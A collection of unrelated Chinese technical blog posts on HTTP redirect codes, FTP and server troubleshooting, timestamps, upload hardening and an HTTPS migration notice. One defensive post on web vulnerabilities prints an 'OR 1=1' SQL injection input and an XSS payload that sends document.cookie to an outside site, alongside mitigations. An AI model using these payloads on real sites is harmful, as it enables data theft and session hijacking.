一、概述

    重定向常常和请求转发放在一起讨论（前者是两次不相关的请求，后者是一次请求服务器端转发），然而本文并不讨论两者的区别，而是HTTP 1.0规范和HTTP 1.1规范中关于重定向的区别，以及实际使用中的情况。

    重定向实际使用是一个响应码（301或302或303或307）和一个响应头location，当浏览器收到响应的时候check响应码是3xx，则会取出响应头中location对应的url（重定向中url的编码问题，请参看点击打开链接），然后将该url替换浏览器地址栏并发起另一次HTTP事务。

    关于301、302、303、307的区别，找不到好的文章，因此打算直撸HTTP 1.0规范和HTTP 1.1规范，结合一些实际的案例和tomcat实现，来说清楚这几个状态码的差异。

1. 百度https重定向

    如下图所示，原请求访问的是http://www.baidu.com，然后返回302和location=https://www.baidu.com，从http转到https。不过关于响应行中302状态码的描述存在争议，在下文中会详细讨论。

2. tomcat重定向源码

二、详细

    http 1.0规范中有2个重定向——301和302，在http 1.1规范中存在4个重定向——301、302、303和307，其中302是值得讨论讨论的。

1. http 1.0

301

    301状态码在HTTP 1.0和HTTP 1.1规范中均代表永久重定向，对于资源请求，原来的url和响应头中location的url而言，资源应该对应location中的url。对于post请求的重定向，还是需要用户确认之后才能重定向，并且应该以post方法发出重定向请求。

    关于post请求重定向用户确认的问题，实际上浏览器都没有实现；而且post请求的重定向应该发起post请求，这里浏览器也并不一定遵守，所以说HTTP规范的实现并未严格按照HTTP规范的语义。

    在301中资源对应的路径修改为location的url，在SEO中并未出现问题，但是在302中就出现了302劫持问题，请往下看。

302

    在http 1.0规范中，302表示临时重定向，location中的地址不应该被认为是资源路径，在后续的请求中应该继续使用原地址。

    规范：原请求是post，则不能自动进行重定向；原请求是get，可以自动重定向；

    实现：浏览器和服务器的实现并没有严格遵守HTTP中302的规范，服务器不加遵守的返回302，浏览器即便原请求是post也会自动重定向，导致规范和实现出现了二义性，由此衍生了一些问题，譬如302劫持，因此在HTTP 1.1中将302的规范细化成了303和307，希望以此来消除二义性。

    补充：302劫持——A站通过重定向到B站的资源xxoo，A站实际上什么都没做但是有一个比较友好的域名，web资源xxoo存在B站并由B站提供，但是B站的域名不那么友好，因此对搜索引擎而言，可能会保存A站的地址对应xxoo资源而不是B站，这就意味着B站出了资源版权、带宽、服务器的钱，但是用户通过搜索引擎搜索xxoo资源的时候出来的是A站，A站什么都没做却被索搜引擎广而告之用户，B站做了一切却不被用户知道，价值被A站窃取了。

2. http 1.1

301

    和http 1.0规范中保持一致，注意资源对应的路径应该是location中返回的url，而不再是原请求地址。

302

    在HTTP 1.1中，实际上302是不再推荐使用的，只是为了兼容而作保留。规范中再次重申只有当原请求是GET or HEAD方式的时候才能自动的重定向，为了消除HTTP 1.0中302的二义性，在HTTP 1.1中引入了303和307来细化HTTP 1.0中302的语义。

303

    在HTTP 1.0的时候，302的规范是原请求是post不可以自动重定向，但是服务器和浏览器的实现是运行重定向。

    把HTTP 1.0规范中302的规范和实现拆分开，分别赋予HTTP 1.1中303和307，因此在HTTP 1.1中，303继承了HTTP 1.0中302的实现（即原请求是post，也允许自动进行重定向，结果是无论原请求是get还是post，都可以自动进行重定向），而307则继承了HTTP 1.0中302的规范（即如果原请求是post，则不允许进行自动重定向，结果是post不重定向，get可以自动重定向）。

307

    在http 1.1规范中，307为临时重定向，注意划红线的部分，如果重定向307的原请求不是get或者head方法，那么浏览器一定不能自动的进行重定向，即便location有url，也应该忽略。

    也就是307继承了302在HTTP 1.0中的规范（303继承了302在HTTP 1.0中的实现）。

3. 小结

    在HTTP 1.0规范中，302的规范并没有被服务器和浏览器遵守，即规范和实现出现了二义性，因此在HTTP 1.1中，将302的规范和实现拆分成了303和307。

三、结论

    虽然在不同版本的http规范中对重定向赋予了不同的语义，但是因为使用历史和服务器实现等原因，在实际中并不一定安全按照http规范实现，因此我个人感觉上述讨论只是一个了解，在实际写代码中302还是继续用吧···

参考：

1. 《http 1.0规范》
2. 《http 1.1规范》

3. 博客：点击打开链接

附注：

    本文如有错漏，烦请不吝指正，谢谢！

安装过程就不介绍了，主要记一下被动模式和端口开放设置。

FileZilla Server 默认以 21 端口安装，阿里云的安全组配置“入方向”规则：

协议类型：自定义 TCP，端口范围：21/21，授权对象 0.0.0.0/0

如果要配置“被动模式”，那么在 FileZilla Server 菜单中选择“Edit”- Settings

切换到“Passive mode settings”，打勾“Use custom port range”，并填写端口范围，譬如 30000-40000，确定。

同样在阿里云安全组中配置“入方向”规则：

协议类型：自定义 TCP，端口范围：30000/40000，授权对象 0.0.0.0/0

这样就可以使用被动模式连接了。

如果无法连接，可尝试打开 Windows Server 2016 的“服务器管理器”，选择右上角“工具”-“高级安全 Windows 防火墙”-“入站规则”-“新建规则”，将上述端口设为允许连接。

可能 VS2017 目前还没有完善这个功能，只能选择发布到文件夹再通过 FTP 工具上传到服务器，期待 VS2017 更新。

参考资料：

https://stackoverflow.com/questions/43162185/trouble-publishing-net-core-project-in-vs-2017?rq=1

https://developercommunity.visualstudio.com/content/problem/24972/publish-not-working-in-vs-2017-ide.html

https://developercommunity.visualstudio.com/content/problem/34104/ftp-publish-finishs-published-successfully-without.html

2017-8-15 最新版的 Visual Studio 2017 (version 15.3) 已经解决了这个问题，前往下载更新

本文不定时更新！

A： MySQL 执行 SHOW FULL PROCESSLIST 

Q： 查看连接数和慢查询，适用于 MySQL 数据库无法连接 1040

A： iftop -i eth0

Q： 查看占用带宽的IP（命令：iftop -i eth0 -F ip/24），添加到安全组、防火墙、宝塔的黑名单中。

命令 grep -l "x.x.x.x" /www/wwwlogs/*.log 可以在 wwwlogs 目录下的所有 .log 文件中查找指定的恶意 IP。

A： goaccess -f xxx.log

Q： 实时分析网站日志，查看请求最多的IP

A： net.xoyozo.weblog 日志分析工具

Q： 自制的 Web 日志分析工具，可按多种方式排序，纠出可疑访问

A： 重启 web 服务器

Q： 有时候能解决 CPU 和内存消耗的问题，如果一会儿又升高，则需要找另外的原因

Q： 500 服务器内部错误

502 Bad Gateway

504 Gateway Time-out

A： 查看 php 日志，可能的路径：

/usr/local/php/var/log/php-fpm.log

/www/server/php/[版本]/var/log/php-fpm.log

Q： RDS MySQL IOPS 使用率高的原因和处理

A： 根据时间点查看慢查询

Q： Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等

A： 进入管理中心 - 工具 - 更新缓存，能解决大部分问题

Q： Discuz! 浏览帖子提示“没有找到帖子”

A： 进入数据库，修复表 pre_forum_post 或分表

Q： CPU 100% 或内存 100%，负载100+

A： 原因有很多，以下是一些建议：

Windows 在任务管理器中查看进程

当前是否有正常的大流量访问（譬如民生类论坛的某个帖子突然火了）特别是重启无效的情况

对比网站日志大小可大致确定哪个网站被大量恶意请求。

观察：命令 top

排查：通过关闭网站来确定是某网站的问题，通过关闭功能确定是某功能的问题，如果 nginx 崩溃请参下条

案例：通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的，更新插件和 mobcent 包解决问题。

如果都是正常访问，top 看到很多 php-fpm，而且个个占用 CPU 还不小，那么根据服务器硬件配置来修改 php 的并发量，如宝塔面板在 php 设置 - 性能调整 页，300 并发方案的推荐配置是：

max_children：300
start_servers：30
min_spare_servers：30
max_spare_servers：180

另外，memcached 或 redis 的配置也可以进行相应的修改。

另一个案例是 kswapd0 进程占满 CPU，原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。

也可以通过 iftop 来查询占用带宽较多的 IP 并封禁（出方向），如果 CPU 能降下来，那这个 IP 就是罪魁祸首。

Q： 阿里云 ECS 的 CPU 突然达到 100%，并持续到次日 0:00 左右

A： 可能 ECS 是 t5 规格，受 CPU 积分制度限制，积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。

Q： ASP.NET 所在服务器 CPU 突然达到 50% 或 100%，并持续

A： 首先确定哪个网站，再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。

Q： nginx 服务停止

A： 查看 nginx 日志

WDCP 路径：/www/wdlinux/nginx-1.0.15/logs/error.log

Q： 公网出带宽 100%，其它指标正常

A： Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID，然后在任务管理器-详细信息中的找到对应的用户（如果为每个网站分别创建了用户，就能知道是哪个网站占用了带宽）；如果是被 PID 为 4 的 System 占用大部分带宽，也可以尝试重启 IIS 来解决。

CentOS 使用 nethogs 查看占用带宽的进程PID和USER，如果为每个网站分别创建了用户，就能知道是哪个网站占用了带宽，否则只能一个个关闭网站来判断，不知道大家有没有好的方法？当然还可以直接用 iftop 命令查看占用带宽的 IP。另外，查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。

A： Linux 显示每个用户会话的登入和登出信息

utmpdump /var/log/wtmp

参考：http://www.tulaoshi.com/n/20160331/2050641.html

Q： RDS 的 CPU 100%

A： 如果是突然持续占满（同时伴随 ECS 资源使用率下降，页面出现 502），很大可能是受攻击（或社交网站推送突发事件等），查看“慢查询”，添加相关索引；如果是 Discuz! 论坛，可尝试修复优化表 pre_common_session。

如果是数日缓步上升，或新项目上线，考虑 SQL 慢查询，思路：MySQL / SQL Server。

MySQL：SHOW FULL PROCESSLIST

SQL Server：sp_who

Q： php 网站的服务器，内存在数天内缓慢上升

A： 大概是 php-fpm 占用过多，或进程数太多

更改 php 的配置（如 max_spare_servers），执行：service php-fpm reload

Q： 进程 cloudfs 占用内存过多

A： 参：https://xoyozo.net/Blog/Details/cloudfs-cache

Q： RDS 磁盘占用过大

A： 参：https://xoyozo.net/Blog/Details/how-to-use-rds

Q： ECS 受到 DDoS 攻击怎么办？

A： 参：https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp

Q： 如果 ECS 和 RDS 各项指标都没有异常，但网页打开慢或打不开502，TTFB 时间很长，是什么原因？（ECS 的 CPU 100%，RDS 的连接数上升，也可参考此条）

A： 数据库有坏表，尝试优化/修复表（慢 SQL 日志中锁等待时间较长的表？），或主备切换。show full processlist 时看到许多

DELETE FROM pre_common_session WHERE  sid='******'  OR lastactivity<******  OR (uid='0' AND ip1='*' AND ip2='*' AND ip3='*' AND ip4='*' AND lastactivity>******)

Q： Discuz! 创始人(站长)密码被改

A： 数据库找到 pre_ucenter_members 表，复制其它的已知登录密码的账号，复制其 password 和 salt 两个字段的值到创始人账号中，创始人账号即可用该密码登录了。

公众号的报警群中经常收到这样的消息：

Appid: *
昵称: *
时间: *
内容: 微信服务器向公众号推送消息或事件后，开发者5秒内没有返回
次数: *分钟 *次
错误样例: [OpenID=*][Stamp=*][3rdUrl=http://api.socialbase.cn/extapi/wechat/message/*/][IP=*][Event=Click Menu Url]
报警排查指引，请见: http://url.cn/ab0jnP

除此之外还有另外一个问题，就是客户端发送图片后会收到两条回复，一条是“印美图”处理打印图片链接，另一条是识脸判断年龄的图文。前者是之前与印美图公司合作的与快速打印照片设备配合吸粉的功能，后者是跳转到使用 FACE++ 的页面显示图片中人物的年龄。

几天来一直找不出原因，代码中搜索错误关键词无果，被动回复消息整个流程断点逐步调试也没有发现哪里有返回“请点击这里预览印美图 点击此处裁剪相片并打印。”

不是开发模式的问题，那一定在公众平台，登录后终于在“开发”的“基本配置”页找到了“管理已授权的第三方平台”，找到“Socialbase”取消授权即可。

整个世界安静了……

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

UTC（世界协调时间）和 GMT（格林尼治标准时间）都与英国伦敦的本地时间相同。北京是东八区，即 UTC+8 或 GMT+0800

时间戳是指格林威治时间1970年01月01日00时00分00秒（北京时间1970年01月01日08时00分00秒）起至现在的总秒数。

翻译成程序员语言就是指当前的本地时间与 1970-1-1 0:00:00 UTC 时间换算的本地时间相差的秒数
或者当前的 UTC 时间与 1970-1-1 0:00:00 UTC 时间相差的秒数

以我在北京时间 2000/1/1 8:00:00 站在东八区为例：

在 JS 中：

// 获取当前本地时间：
new Date()
// 返回：Jan 1 2000 8:00:00 GMT+0800（中国标准时间）

// 获取当前 UTC 时间字符串：
(Local Time).toUTCString()
// 返回：Jan 1 2000 0:00:00 GMT

// 初始化一个 UTC 时间 2000-1-1 0:00:00
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0))

// 获取 UTC 时间的本地时间字符串：
(UTC Time).toLocaleString()


// 本地时间 1970/1/1 8:00:00 的时间戳
new Date(1970, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回：0

// 本地时间 2000/1/1 8:00:00 的时间戳
new Date(2000, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回：946684800

// 本地时间 当前 的时间戳
new Date().getTime() / 1000

// UTC 时间 2000/1/1 0:00:00 的时间戳
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)).getTime() / 1000
// 或
Date.UTC(2000, 1 - 1, 1, 0, 0, 0) / 1000
// 返回：946684800

在 C# 中：

DateTime 默认的 Kind 是 Local，使用 DateTime.SpecifyKind() 方法可以定义一个 UTC 时间
DateTime.Now 返回当前本地时间
DateTime.UtcNow 返回当前 UTC 时间

// 定义一个本地时间 2000/1/1 8:00:00
new DateTime(2000, 1, 1, 8, 0, 0)

// 定义一个 UTC 时间 2000/1/1 0:00:00
DateTime.SpecifyKind(new DateTime(2000, 1, 1), DateTimeKind.Utc)

// 将 UTC 时间转化为本地时间
(UTC Time).ToLocalTime()

// 将本地时间转化为 UTC 时间
(Local Time).ToUniversalTime()

再次说明，本地时间和 UTC 时间都是 DateTime 对象，关键看定义的时候是 Local 还是 Utc

// 本地时间 1970/1/1 8:00:00 的时间戳
(new DateTime(1970, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回：0

// 本地时间 2000/1/1 8:00:00 的时间戳
(new DateTime(2000, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回：946684800

// 本地时间 当前 的时间戳
(DateTime.Now - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds


// 将时间戳 946684800 转换为本地时间
DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime().AddSeconds(946684800)

实战：

如果我们要将时间戳精确到毫秒，那么 JS 直接 .getTime() 即可，不需要 / 1000，C# 将它转换为本地时间时用 AddMilliseconds 代替 AddSeconds。

中国跨越了多个时区却统一使用北京时间，所以国内网站只要记录本地时间即可；如果做国际站或者有不同国家的访客，除非全部由服务器端获取时间，否则客户端 JS 的本地时间（非时间戳）都需要转换成 UTC 时间来跟服务端的时间进行运算和保存，推荐使用时间戳在客户端和服务端之间传递，因为时间戳与时区无关，它是两个相同性质的时间（同为本地时间或同为 UTC 时间）的差值。

程序设计规范：

• 【推荐】上传的文件直接保存到文件存储服务（如阿里云 OSS），这样即使被上传了后门 shell，对网站服务器也不会有影响。

• 否则必须通过文件头来确定文件类型，检查文件十六进制的文件头和文件尾是否合法，并检查文件流中是否包含 php、evel 等字符。

• 不可直接使用客户端文件名来保存文件，特别是后缀名/扩展名。应生成随机文件名，并通过检验文件头来确定文件类型。必须由程序指定保存目录。

• 使用 OSS 的应直接上传，不要在 ECS 上临时存放或备份。如必须存放的，应按上述规范操作。

服务器安全设置

CentOS + nginx + PHP：

• 全站文件取消属性中的“执行”权限（chmod），因为这个“执行”与运行 PHP 无关。而需要上传文件的“目录”需要“执行”权限，原因是需要往该目录创建文件。
  

• 仅需要写入的目录或文件设置“写入”权限。如上传图片目录、ThinkPHP 的 Runtime 目录。

• 凡可写目录或文件均不允许运行 PHP / PY 等 除需要被直接访问的 PHP / PY 文件，其它动态文件均不允许被访问到，在 nginx 的配置文件中添加项，参：https://xoyozo.net/Blog/Details/nginx-location-if，若全站使用统一的入口文件访问，那么设置仅该文件允许运行 PHP 即可。通过 IO 方式被其它文件包含的文件，无需运行 PHP 权限。（“deny all”对 include 起作用，但对 IO 不起作用，因此 Runtime 目录可以继续为 ThinkPHP 提供缓存服务。）这一步非常有用。

• 使用与 nginx 网站用户不同的用户来部署网站文件，如宝塔面板 PHP 使用 www 用户，那么就使用 root 或其它新用户来上传文件，否则将导致全站目录和文件可写。有条件的建议不同网站使用不同的用户，可防止一个网站被入侵后导致其它网站文件或磁盘上的其它文件被泄露的风险（2022年10月2日从宝塔官方社区获悉，宝塔面板暂不支持使用非 www 用户创建并运行网站）。

Windows Server + IIS + ASP.NET：

• 配置每个磁盘的安全属性，拒绝“IIS_IUSRS”这个用户组的所有权限。只要设置驱动器即可，子文件夹和文件会自动继承。若运行 .NET Framework 项目，需要设置 C:\Windows\Microsoft.NET\Framework\v*.*.*****\Temporary ASP.NET Files\ 目录可修改写入权限，.NET Core 项目不需要此设置。

• 为每个网站创建一个新用户，仅隶属于“IIS_IUSRS”。网站根目录安全属性添加该用户，权限选择“读取”。（已测取消“读取与执行”不影响 PHP，“列出文件夹内容”视业务需求开启，建议关闭）。仅需要上传文件的目录或文件设置“修改”、“写入”权限。（修改对应修改文件，写入对应上传文件）

• IIS 网站中设置“物理路径凭据”以及应用程序池的“标识”。

• IIS 中设置写入目录的“处理程序映射”无脚本。

将字符串作为文本文档输出：

Response.AddHeader("Content-Disposition", "attachment; filename=文件名.txt");
Response.Write(字符串内容);
Response.End();

直接提供服务器文件下载：

FileInfo thefile = new FileInfo(path);
Response.Clear();
Response.ClearHeaders();
Response.Buffer = false;
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode("刮刮卡参与") + id + ".csv");
Response.AppendHeader("Content-Length", thefile.Length.ToString());
Response.WriteFile(thefile.FullName);
Response.Flush();
Response.End();

输出使用 NPOI 创建的 Excel（MemoryStream）：

HSSFWorkbook book = new HSSFWorkbook();
……
MemoryStream ms = new MemoryStream();
book.Write(ms);
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", scene.d.drama + " " + scene.s.time_show.ToString("yyyy年MM月dd日HH时mm分")));
Response.BinaryWrite(ms.ToArray());
Response.End();
book = null;
ms.Close();
ms.Dispose();

最后，如果要指定文件编码，加上这句就行：

Response.ContentEncoding = Encoding.xxx;

各位站长好：

根据苹果相关通知，从2017年1月1日起，所有上架AppStore的应用必须支持https协议。

仍然采用HTTP传输的站点APP，将无法在AppStore被用户下载使用，也无法进行升级更新等工作。

官方视频

https://developer.apple.com/videos/play/wwdc2016/706/

相关新闻

http://www.chinaz.com/news/2016/1028/602635.shtml

根据AppStore审核要求，站长需要在2017年1月1日之前，在APP服务器全面部署https。

尽管不升级支持https后果严重，但诸位也不必太过担心，马甲根据要求为各位提供一份服务器升级https的技术文档，供您参考。

https的优点：

1. 相对于http，https可以确保数据在网络传输过程中不被篡改(如禁止运营商插入广告)，同时可以提升网站的安全性。

2.  iOS可以实现微信内部浏览器直接启动并打开App对应页面。

APP网站升级https步骤：

1. 为APP域名申请购买SSL证书（可选免费型）；

2.  将SSL证书部署到APP站点。

https证书申请方法：

1. 进入阿里云（独立服务器客户可注册一个阿里云账号，无须购买阿里云主机）https证书申请页面 https://www.aliyun.com/product/security/markets/aliyun/product/cas

2. 购买https证书，选择免费类型，点击购买（无需实际付款)

3. 购买完成后，进入控制台-CA证书服务页面，找到证书订单，点击“补全”

4. 填写证书对应的域名信息，免费证书只能用于一个域名(请填写完整域名例如：test.magapp.cc 而不是 magapp.cc)

5. 继续补全证书信息，注意域名验证类型选择DNS，邮箱填写自己常用邮箱即可，稍后系统会往邮箱发送域名解析信息。

6. 下一步生成证书请求文件(CSR)，这里建议选择“系统生成CSR”，点击右侧创建，创建完成后，点击提交审核，开始申请https证书。

7. 稍后系统会向邮箱发送一份该邮件，邮件包含需要在域名管理后台解析的信息。

8. 到域名管理后台添加新的域名解析，注意解析类型为CNAME

9. 添加新域名解析完成后，系统会对您的申请进行审核（审核时间在几分钟到几个小时不确定），如果审核成功系统会为你签发https证书，失败也会有相关原因说明，如果失败可根据提示重新申请。

10. https证书申请成功后，下一步就可以下载并部署到APP服务器。

11. 点击下载后，可以根据阿里云提供的部署文档，进行相关的服务器部署工作。

12. 部署完成后，验证是否部署成功

第一步：使用https协议访问域名是否能正常访问，例如 https://test.magapp.cc

第二步：在线检测域名是否满足苹果审核要求，网址为：https://www.qcloud.com/product/ssl.html#userDefined10

填写自己申请https的域名

如果域名检测各项满足会显示如下图所示

部署注意事项：

1. https使用的是443端口而不是默认的80端口，需要在wdcp安全管理-iptables开启443端口。

2. https免费证书有效期为一年，请各位站长作好记录，提前重新申请。

3. 站点从http转到https完全过渡需要一段时间，建议在部署时站点同时支持http和https。

4. 部署过程遇到任何问题，可联系您的专属运维人员。

                                                            MAGAPP技术部